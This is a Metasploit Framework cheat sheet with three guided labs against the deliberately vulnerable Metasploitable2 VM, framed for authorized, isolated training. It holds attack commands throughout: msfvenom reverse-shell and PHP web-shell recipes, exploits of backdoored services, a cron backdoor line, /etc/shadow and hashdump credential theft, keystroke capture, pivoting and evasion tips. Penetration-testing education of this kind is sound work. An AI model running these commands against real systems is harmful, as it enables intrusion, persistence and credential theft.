PENETRATION TESTING REFERENCE

Metasploit Framework

The Complete Cheat Sheet — Beginner to Advanced

Including 3 Guided Hands-On Labs on Metasploitable2

For use strictly in authorized lab environments (e.g. Metasploitable2) or environments you own or have explicit written permission to test. Unauthorized use against systems you do not own or lack permission to test is illegal in most jurisdictions.

Table of Contents

0 Legal & Ethical Use Notice

1 Metasploit Architecture & Core Concepts

2 Installation, Startup & Database Setup

3 msfconsole Basics — Navigation & Global Commands

4 Workspace & Database Management

5 Finding & Selecting Modules

6 Reconnaissance & Scanning (nmap + auxiliary/scanner)

7 Exploitation Workflow

8 Payloads & msfvenom

9 Sessions & Meterpreter Command Reference

10 Post-Exploitation — Privilege Escalation & Loot

11 Persistence

12 Pivoting, Routing & Port Forwarding

13 Automation — Resource Scripts & msfconsole flags

14 Evasion & OPSEC Notes

15 Reporting & Cleanup

16 Quick-Reference Command Tables

L1 Lab 1 — Recon & Vulnerability Discovery on Metasploitable2

L2 Lab 2 — Exploiting Metasploitable2 Services

L3 Lab 3 — Post-Exploitation, Privilege Escalation & Pivoting

0. Legal & Ethical Use Notice

> **Read before proceeding.** Metasploit is a dual-use tool: the exact same modules used to test security are used by attackers. Running these techniques against any system you do not own, or do not have explicit, documented, written authorization to test, is illegal in most countries (e.g. under the U.S. CFAA, UK Computer Misuse Act, and equivalents elsewhere).

- Only target lab machines you built yourself — this guide assumes **Metasploitable2**, a deliberately vulnerable Linux VM published by Rapid7 specifically for training.
- Run Metasploitable2 **fully isolated**: host-only or NAT network, never bridged to a real network or exposed to the internet — it is intentionally full of unpatched, exploitable services.
- If testing anything beyond your own lab, get a signed scope/rules-of-engagement document first.
- Keep logs of everything you do (msfconsole supports `spool`) for later reporting.

1. Metasploit Architecture & Core Concepts

1.1 What Metasploit Is

Metasploit Framework (MSF) is a modular exploitation and post-exploitation platform. It ships with a database of exploits, payloads, and auxiliary tools, plus a scripting/automation layer (Ruby, resource scripts, RPC API) that ties them together against a target inventory tracked in a PostgreSQL database.

1.2 Module Types

Module Type	Path prefix	Purpose
Exploit	`exploit/`	Code that leverages a specific vulnerability to deliver a payload
Payload	`payload/`	Code that runs on the target after successful exploitation (shell, Meterpreter, etc.)
Auxiliary	`auxiliary/`	Scanners, fuzzers, DoS, sniffers — anything that isn't exploitation itself
Post	`post/`	Post-exploitation actions run through an existing session (privesc, gather, pivot)
Encoder	`encoder/`	Transforms payload bytes to avoid bad characters / basic signature avoidance
Nop	`nop/`	NOP sled generators for buffer-overflow reliability
Evasion	`evasion/`	Modules focused on AV/EDR evasion techniques

1.3 Payload Categories

Category	Description	Example
Singles	Self-contained, no separate stager (e.g. adds a user)	`windows/exec`
Stagers	Small first-stage that pulls down a larger stage	`windows/shell/reverse_tcp`
Stages	Downloaded by a stager, larger functionality	`meterpreter`

Naming convention: `<platform>/<arch>/<stager>/<stage>` e.g. `windows/x64/meterpreter/reverse_tcp`, `linux/x86/shell_reverse_tcp`.

1.4 Interfaces

Tool	Use
`msfconsole`	Primary interactive CLI — 95% of your time is spent here
`msfvenom`	Standalone payload generator/encoder (replaces old msfpayload+msfencode)
`msfdb`	Database init/start/stop helper
`msfrpcd`	RPC daemon for scripting external tools against MSF
`armitage / Cobalt Strike (3rd party)`	GUI front-ends (not covered — CLI is the transferable skill)

2. Installation, Startup & Database Setup

2.1 Install (Kali/Debian based — usually pre-installed on Kali)

```
sudo apt update
sudo apt install metasploit-framework -y
```

2.2 Initialize & Start the Database

MSF stores hosts, services, creds, loot and vuln data in PostgreSQL. Always start this first.

```
sudo systemctl start postgresql
sudo msfdb init          # first-time only: creates DB + msf user
sudo msfdb start         # subsequent boots
```

2.3 Launch the Console

```
msfconsole               # normal start
msfconsole -q             # quiet start, skip banner (faster, scriptable)
msfconsole -r script.rc     # auto-run a resource script on start
```

2.4 Verify DB Connectivity

```
msf6 > db_status
# Expected: [*] Connected to msf. Connection type: postgresql.
```

> If `db_status` shows disconnected, run `sudo msfdb reinit` and restart msfconsole.

3. msfconsole Basics — Navigation & Global Commands

Command	Description
`help` / `?`	List all commands (or `help <cmd>` for details)
`banner`	Print the MSF ASCII banner + version
`version`	Show framework & console version
`search <term>`	Search the module database
`use <module path or #>`	Load a module into the active context
`info`	Show details of the currently loaded module
`show options`	List required/optional datastore options for the loaded module
`show payloads`	List compatible payloads for the loaded exploit
`show targets`	List OS/version targets an exploit supports
`show advanced`	Show advanced (usually hidden) options
`set <OPTION> <value>`	Set an option for the current module
`setg <OPTION> <value>`	Set a global option (persists across module switches)
`unset <OPTION>` / `unsetg`	Clear an option
`check`	Non-intrusive check if target is vulnerable, without exploiting (module-dependent)
`run` / `exploit`	Execute the loaded module
`exploit -j`	Run exploit as a background job
`exploit -z`	Run and don't auto-interact with the opened session
`back`	Leave current module context
`sessions`	List/interact with active sessions
`jobs`	List/kill background jobs (e.g. handlers, scanners)
`route`	Manage session-based network routes (pivoting)
`spool <file>`	Log all console output to a file (great for reports)
`save`	Save current datastore settings as defaults
`irb`	Drop into a live Ruby interpreter inside msfconsole
`reload_all`	Reload all modules from disk (after adding a custom module)
`exit` / `quit`	Leave msfconsole

Tab-completion works everywhere — module paths, option names, even payload names. Use it constantly; it also self-documents what's valid.

4. Workspace & Database Management

Workspaces let you keep separate engagements/labs isolated in the same database.

Command	Description
`workspace`	List workspaces
`workspace -a metasploitable2`	Create + switch to a new workspace
`workspace metasploitable2`	Switch to an existing workspace
`workspace -d <name>`	Delete a workspace
`hosts`	List discovered hosts in current workspace
`hosts -R`	Add all hosts in workspace as exploit RHOSTS
`services`	List discovered services
`services -p 80,445`	Filter services by port
`vulns`	List recorded vulnerabilities
`creds`	List captured credentials
`loot`	List looted files (hashes, configs, etc.)
`notes`	List/add analyst notes tied to hosts
`db_nmap <args>`	Run nmap and auto-import results into the DB
`db_import <file>`	Import nmap/Nessus/Nexpose XML scan results
`db_export -f xml <file>`	Export current workspace data
`db_rebuild_cache`	Rebuild module cache if searches misbehave

> Workflow habit: `workspace -a <engagement>` → `db_nmap` → everything else auto-populates `hosts` / `services` for later reference.

5. Finding & Selecting Modules

5.1 Search Syntax

```
search type:exploit platform:linux vsftpd
search name:eternalblue
search cve:2017-0144
search rank:excellent type:exploit smb
search author:hdm
```

Filter	Meaning
`type:`	exploit / auxiliary / post / payload / encoder / nop
`platform:`	windows, linux, unix, php, java, android...
`name:`	substring match on module name
`cve:`	match by CVE ID
`rank:`	excellent, great, good, normal, average, low, manual
`app:`	client vs server-side module

5.2 Selecting & Inspecting

```
use exploit/unix/ftp/vsftpd_234_backdoor
info
show options
show targets
show payloads
```

5.3 Reading "show options" output

Column	Meaning
Name	Option key, used with `set`
Current Setting	Value currently assigned
Required	yes/no — must be set before `run`
Description	What the option controls

Common required options: `RHOSTS` (target), `RPORT` (target port), `LHOST` / `LPORT` (your listener, for reverse payloads).

6. Reconnaissance & Scanning

6.1 nmap via msfconsole (auto-saved to DB)

```
db_nmap -sV -sC -O -p- 192.168.56.101
db_nmap -sU --top-ports 20 192.168.56.101   # quick UDP sweep
```

6.2 Common auxiliary/scanner Modules

Module	Purpose
`auxiliary/scanner/portscan/tcp`	Pure-Metasploit TCP port scan
`auxiliary/scanner/discovery/udp_sweep`	UDP service discovery
`auxiliary/scanner/smb/smb_version`	Fingerprint SMB version
`auxiliary/scanner/ftp/ftp_version`	Fingerprint FTP banner/version
`auxiliary/scanner/ssh/ssh_version`	Fingerprint SSH banner
`auxiliary/scanner/mysql/mysql_version`	Fingerprint MySQL
`auxiliary/scanner/smb/smb_enumshares`	Enumerate SMB shares
`auxiliary/scanner/smtp/smtp_enum`	Enumerate valid SMTP users (VRFY)
`auxiliary/scanner/nfs/nfsmount`	Enumerate exported NFS mounts
`auxiliary/scanner/rservices/rlogin_login`	Test rlogin trust/creds
`auxiliary/scanner/mysql/mysql_login`	Credential bruteforce vs MySQL
`auxiliary/scanner/ssh/ssh_login`	Credential bruteforce vs SSH
`auxiliary/scanner/http/http_version`	Fingerprint web server
`auxiliary/scanner/http/dir_scanner`	Bruteforce directories

```
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.56.101
run
```

> Pair scanners with `hosts -R` afterward to auto-fill RHOSTS on the next module from what the DB already knows.

7. Exploitation Workflow

7.1 Standard Flow

```
search <service/CVE>
use <module>
show options
set RHOSTS <target>
set RPORT <port>              # if non-default
show payloads
set PAYLOAD <payload>
set LHOST <your IP>
set LPORT <your port>
check                          # optional, if module supports it
exploit  (or run)
```

7.2 Handling Reverse vs Bind Payloads

Type	When to use	Options
reverse_tcp	Target can reach you (most common; works through NAT)	LHOST, LPORT = your box
bind_tcp	You can reach target but it can't reach you	RHOST, RPORT = target

7.3 Standalone Listener (multi/handler)

Use when you generate a payload separately with msfvenom and need MSF to just catch the connection.

```
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.56.1
set LPORT 4444
exploit -j -z          # run as background job, don't auto-interact
```

8. Payloads & msfvenom

8.1 msfvenom Syntax

```
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <outfile>
```

8.2 Common Recipes (lab use)

Goal	Command
Linux ELF reverse shell	`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf`
Windows EXE reverse shell	`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe`
PHP web shell	`msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.php`
List all payload formats	`msfvenom --list formats`
List all payloads	`msfvenom --list payloads`
List encoders	`msfvenom --list encoders`

8.3 Staged vs Stageless

`windows/meterpreter/reverse_tcp` (staged, smaller, needs a compatible handler stage) vs `windows/meterpreter_reverse_tcp` style **stageless** single payloads (larger file, no second-stage fetch — more reliable across flaky links / restrictive egress).

8.4 Encoding (signature avoidance basics)

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=IP LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 -f elf -o shell_enc.elf
```

> Encoding is **not** real AV evasion against modern EDR — it mainly avoids bad characters in memory-corruption exploits. Treat section 14 notes as the honest picture.

9. Sessions & Meterpreter Command Reference

9.1 Session Management (console-level)

Command	Description
`sessions`	List all active sessions
`sessions -i <id>`	Interact with a session
`sessions -k <id>`	Kill a session
`sessions -u <id>`	Upgrade a plain shell to Meterpreter
`Ctrl+Z`	Background the current Meterpreter session
`background`	Same, typed command form

9.2 Meterpreter — Core

Command	Description
`help`	List Meterpreter commands
`sysinfo`	OS, hostname, arch of target
`getuid`	Current user context
`ps`	List running processes
`migrate <pid>`	Move Meterpreter into another process (stability/stealth)
`shell`	Drop to a native OS shell inside the session
`background`	Return to msfconsole, session keeps running
`exit`	Terminate the session

9.3 Meterpreter — Filesystem

Command	Description
`pwd` / `cd` / `ls`	Standard navigation on target
`lpwd` / `lcd` / `lls`	Same, but on your local attack box
`download <remote> <local>`	Pull a file from target
`upload <local> <remote>`	Push a file to target
`edit <file>`	Edit a remote file in your local editor
`search -f *.conf`	Search filesystem for a pattern

9.4 Meterpreter — Network / Pivoting

Command	Description
`ipconfig` / `ifconfig`	Show network interfaces of target
`route`	Show/manipulate target routing table
`portfwd add -l <lport> -p <rport> -r <rhost>`	Local port forward through session
`arp`	Show ARP table (map internal network)
`netstat`	Show active connections on target

9.5 Meterpreter — Gather / Credentials

Command	Description
`hashdump`	Dump local account password hashes (needs SYSTEM/root-level, extension-dependent)
`run post/multi/gather/env`	Grab environment variables
`run post/linux/gather/hashdump`	Linux /etc/shadow hash dump helper
`screenshot`	Capture target's screen (GUI targets)
`keyscan_start / keyscan_dump / keyscan_stop`	Keystroke capture
`webcam_list / webcam_snap`	Capture from webcam (GUI targets)

9.6 Meterpreter — Privilege Escalation

Command	Description
`getsystem`	Automated local privesc attempts (Windows)
`getprivs`	List current token privileges (Windows)
`run post/multi/recon/local_exploit_suggester`	Suggest local privesc exploits based on target patch level

10. Post-Exploitation — Privilege Escalation & Loot

10.1 Useful post/ Modules

Module	Purpose
`post/multi/recon/local_exploit_suggester`	Cross-platform privesc suggestions
`post/linux/gather/enum_system`	General Linux enumeration (users, cron, network)
`post/linux/gather/enum_configs`	Pull common config files
`post/multi/gather/ssh_creds`	Harvest SSH keys/known_hosts from a session
`post/windows/gather/enum_logged_on_users`	Windows logged-on user enumeration
`post/windows/gather/credentials/credential_collector`	Pull stored creds (Windows)

```
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
```

10.2 Manual Linux Enumeration (inside `shell`)

```
uname -a
cat /etc/issue
id; sudo -l
find / -perm -4000 -type f 2>/dev/null      # SUID binaries
cat /etc/crontab
ls -la /var/www 2>/dev/null
```

10.3 Loot & Credential Handling

Command	Description
`loot`	List everything looted this workspace
`creds`	List stored credential pairs
`creds add user:pass`	Manually record a found credential
`hashdump` → `john` / `hashcat`	Crack recovered hashes offline (external tools)

11. Persistence

> In real engagements, persistence must be explicitly in scope and removed during cleanup. Metasploitable2 has no real "users" to worry about — safe to practice here.

Module / Command	Purpose
`run persistence -X -i 30 -p 4444 -r <LHOST>` (legacy)	Re-establish a Meterpreter callback on schedule/boot
`post/windows/manage/persistence_exe`	Modern persistence module (Windows)
Cron entry (manual, Linux)	`echo "* * * * * /tmp/backdoor" >> /etc/crontab` via a shell session

12. Pivoting, Routing & Port Forwarding

12.1 Autoroute (send further module traffic through a session)

```
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 10.10.10.0
set NETMASK 255.255.255.0
run
# or directly:
route add 10.10.10.0/24 1
```

12.2 SOCKS Proxy (route external tools like nmap/proxychains through a session)

```
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 4a
run -j
# then in another terminal:
proxychains nmap -sT -Pn 10.10.10.5
```

12.3 Port Forwarding Through Meterpreter

```
portfwd add -l 3389 -p 3389 -r 10.10.10.5
# now connect to 127.0.0.1:3389 locally to reach the internal host
```

13. Automation — Resource Scripts & msfconsole Flags

13.1 Resource Scripts (.rc)

Plain text files of msfconsole commands, run top to bottom — great for repeatable labs.

```
# file: recon.rc
workspace -a metasploitable2
db_nmap -sV -p- 192.168.56.101
hosts -R
```

```
msfconsole -r recon.rc
# or, from inside msfconsole:
resource recon.rc
```

13.2 Useful CLI Flags

Flag	Effect
`-q`	Quiet start (no banner)
`-r <file>`	Run resource script on start
`-x <cmd>`	Run a single command on start
`-o <file>`	Log console output to file

13.3 Scripting sessions with `-x`

```
msfconsole -q -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.56.101; run; exit"
```

14. Evasion & OPSEC Notes

- **Modern AV/EDR** catches default MSF payloads/encoders almost immediately via signature and behavioral detection — the classic `shikata_ga_nai` single-pass encoding is not meaningful evasion anymore. Treat sections here as historical/educational context, not a bypass guide.
- `migrate` into a long-lived, trusted process to survive the spawning process exiting and to blend network traffic.
- Prefer HTTPS-based payload templates (`*/meterpreter/reverse_https`) over raw TCP to blend with normal traffic and get basic transport encryption.
- Use `timestomp` / careful cleanup of dropped files on engagements to reduce forensic footprint (only within agreed rules of engagement).
- Real-world evasion today revolves around custom loaders, process injection, and living-off-the-land binaries — outside the scope of stock Metasploit and outside the scope of this cheat sheet.

15. Reporting & Cleanup

Command	Purpose
`spool /path/engagement.log`	Start logging console session to file (run early!)
`db_export -f xml report.xml`	Export full workspace (hosts, services, vulns, creds)
`hosts -o hosts.csv`	Export host list to CSV
`services -o services.csv`	Export services to CSV
`sessions -K`	Kill all sessions when done
`workspace -d <name>`	Remove workspace data once report is finalized (if required by scope)

> Good habit: one workspace per engagement/lab, `spool` on from the first command, export at the end — that's 90% of your evidence trail done for free.

16. Quick-Reference Command Tables

16.1 The "Golden Path" (memorize this)

```
msfconsole
workspace -a lab1
db_nmap -sV -p- <target>
hosts
services
search <service>
use <module>
set RHOSTS <target>
set PAYLOAD <payload>
set LHOST <you>
exploit
sysinfo / getuid
background
sessions -i 1
```

16.2 Cheat Table — Everything in One Place

Category	Command
Search	`search <term>`
Load module	`use <path>`
Options	`show options` / `set X Y`
Run	`exploit` / `run`
Sessions	`sessions -l -i -k -u`
Recon	`db_nmap`, `auxiliary/scanner/*`
Payload gen	`msfvenom -p ... -f ... -o ...`
Privesc	`getsystem`, `local_exploit_suggester`
Pivot	`route add`, `portfwd add`, `socks_proxy`
Loot	`hashdump`, `loot`, `creds`
Automate	`resource file.rc`, `msfconsole -r`
Report	`spool`, `db_export`

Lab 1 — Reconnaissance & Vulnerability Discovery on Metasploitable2

Goal: Build a full host/service map of Metasploitable2 inside Metasploit's database, and identify at least three exploitable services, purely through recon.
Prerequisites: Metasploitable2 VM running (host-only/NAT network), attacker VM (Kali or similar) on the same isolated network, both IPs noted.

Step 1 — Confirm network reachability

```
ping -c 3 <metasploitable2-ip>
```

Step 2 — Start MSF and create a lab workspace

```
sudo msfdb start
msfconsole -q
msf6 > workspace -a lab1-recon
msf6 > spool /root/lab1-recon.log
```

Step 3 — Full TCP + service/version scan, saved to the DB

```
msf6 > db_nmap -sS -sV -O -p- --min-rate 1000 <metasploitable2-ip>
```

Metasploitable2 is intentionally noisy — expect 20+ open ports (FTP, SSH, Telnet, SMTP, DNS, HTTP, RPC, NetBIOS/SMB, MySQL, PostgreSQL, VNC, IRC, and more).

Step 4 — Review what got recorded

```
msf6 > hosts
msf6 > services
msf6 > services -p 21,22,23,25,80,139,445,3306,5432,6667,8180
```

Step 5 — Fingerprint the interesting services individually

```
use auxiliary/scanner/ftp/ftp_version
set RHOSTS <target>
run

use auxiliary/scanner/smb/smb_version
set RHOSTS <target>
run

use auxiliary/scanner/ssh/ssh_version
set RHOSTS <target>
run
```

Step 6 — Enumerate SMB shares and NFS exports

```
use auxiliary/scanner/smb/smb_enumshares
set RHOSTS <target>
run

use auxiliary/scanner/nfs/nfsmount
set RHOSTS <target>
run
```

Step 7 — Map findings to known vulnerable versions

Cross-reference the banners you found (e.g. `vsFTPd 2.3.4`, `Samba 3.X`, `UnrealIRCd`, `distccd`) against `search <name>` in msfconsole to identify candidate exploit modules — this becomes your target list for Lab 2.

```
msf6 > search vsftpd
msf6 > search samba
msf6 > search unreal
```

Deliverable

Export your findings: `hosts -o lab1_hosts.csv`, `services -o lab1_services.csv`, and stop logging with `spool off`.

Lab 2 — Exploiting Metasploitable2 Services

Goal: Gain an initial shell/Meterpreter session using at least two different well-known Metasploitable2 vulnerabilities, and confirm access.
Prerequisite: Completed Lab 1 (or note the target IP directly).

Step 1 — New workspace, carry forward target IP

```
msf6 > workspace -a lab2-exploit
msf6 > spool /root/lab2-exploit.log
```

Exploit A — vsftpd 2.3.4 backdoor (trivial, great first exploit)

This service ships a deliberately backdoored version on Metasploitable2 for training purposes.

```
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS <target>
run
```

On success you land directly in a root-level command shell. Confirm with:

```
id
uname -a
```

Exploit B — Samba "username map script" command injection

```
use exploit/multi/samba/usermap_script
set RHOSTS <target>
set PAYLOAD cmd/unix/reverse
set LHOST <your-ip>
set LPORT 4444
run
```

Confirm the shell, then background it: press `Ctrl+Z` or type `background`.

Exploit C — UnrealIRCd 3.2.8.1 backdoor (optional third target)

```
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS <target>
set PAYLOAD cmd/unix/reverse
set LHOST <your-ip>
run
```

Exploit D — Distributed Compiler daemon (distccd) RCE (optional)

```
use exploit/unix/misc/distcc_exec
set RHOSTS <target>
set PAYLOAD cmd/unix/reverse
set LHOST <your-ip>
run
```

Step 2 — Upgrade a plain shell to Meterpreter (optional, once you have one)

```
msf6 > sessions -l
msf6 > sessions -u 1
```

Deliverable

List all live sessions with `sessions -l`, note which module/CVE produced each, and keep at least one Meterpreter session backgrounded for Lab 3.

Lab 3 — Post-Exploitation, Privilege Escalation & Pivoting

Goal: Starting from a session gained in Lab 2, enumerate the host thoroughly, harvest credentials, and practice routing further scans through the compromised host.
Prerequisite: At least one active session from Lab 2 (root access from `vsftpd_234_backdoor` is the easiest starting point).

Step 1 — Basic situational awareness

```
msf6 > sessions -i 1
meterpreter > sysinfo
meterpreter > getuid
meterpreter > ps
```

If you're on a plain `shell` session instead of Meterpreter, the equivalent commands are `uname -a`, `id`, `ps aux`.

Step 2 — Harvest credentials

```
# From a shell session:
cat /etc/passwd
cat /etc/shadow            # readable as root on Metasploitable2 by design

# Or, from Meterpreter with the right extension loaded:
meterpreter > hashdump
```

Save discovered hashes to a file and (optionally, outside this guide's scope) crack them offline with `john` using the classic wordlist bundled on Kali.

Step 3 — Enumerate the filesystem for further loot

```
meterpreter > search -f *.conf
meterpreter > download /etc/mysql/my.cnf /root/loot/
meterpreter > download /var/www/dvwa/config/config.inc.php /root/loot/
```

Step 4 — Automated privilege-escalation suggestions

```
msf6 > background
msf6 > use post/multi/recon/local_exploit_suggester
msf6 > set SESSION 1
msf6 > run
```

On Metasploitable2, the vsftpd/Samba/UnrealIRCd routes usually already hand you root, so this step is mainly for practicing the workflow you'd use on a low-priv shell.

Step 5 — Record credentials & loot in the database

```
msf6 > creds
msf6 > loot
```

Step 6 — Practice pivoting (treat Metasploitable2 as a foothold into a second subnet)

If you have a second isolated target VM on another virtual subnet, route through the Metasploitable2 session to reach it — otherwise, complete this step conceptually / against a second lab VM.

```
msf6 > use post/multi/manage/autoroute
msf6 > set SESSION 1
msf6 > set SUBNET <internal-subnet>
msf6 > run

msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS <internal-host>
msf6 > run
```

Step 7 — Clean up

```
msf6 > sessions -K
msf6 > db_export -f xml /root/lab3-final-report.xml
msf6 > spool off
```

Deliverable

A short write-up per finding: service/CVE exploited → access gained → privilege level → credentials/loot recovered → (optional) pivot demonstrated. This mirrors the structure of a real penetration test report.

Appendix — Metasploitable2 Known Intentional Vulnerabilities (Reference)

Port/Service	Vulnerability	Related Module
21 / vsftpd 2.3.4	Backdoored source (CVE-2011-2523)	`exploit/unix/ftp/vsftpd_234_backdoor`
23 / Telnet	Cleartext credentials, weak default logins	manual / credential bruteforce scanners
139,445 / Samba	usermap_script command injection	`exploit/multi/samba/usermap_script`
512-514 / rlogin/rsh	Trust-based auth bypass (.rhosts)	`auxiliary/scanner/rservices/rlogin_login`
1099 / Java RMI	Insecure default RMI registry RCE	`exploit/multi/misc/java_rmi_server`
3632 / distccd	Remote command execution	`exploit/unix/misc/distcc_exec`
5432 / PostgreSQL	Default/weak creds	`auxiliary/scanner/postgres/postgres_login`
6667 / UnrealIRCd	Backdoored source	`exploit/unix/irc/unreal_ircd_3281_backdoor`
8180 / Tomcat	Default manager creds → WAR deploy RCE	`exploit/multi/http/tomcat_mgr_deploy`
80 / DVWA, Mutillidae	Deliberately vulnerable web apps (SQLi, XSS, etc.)	Burp Suite / manual web testing

> This appendix lists what is **already publicly documented** by Rapid7 as part of Metasploitable2's own design — the VM exists specifically to teach these exact issues.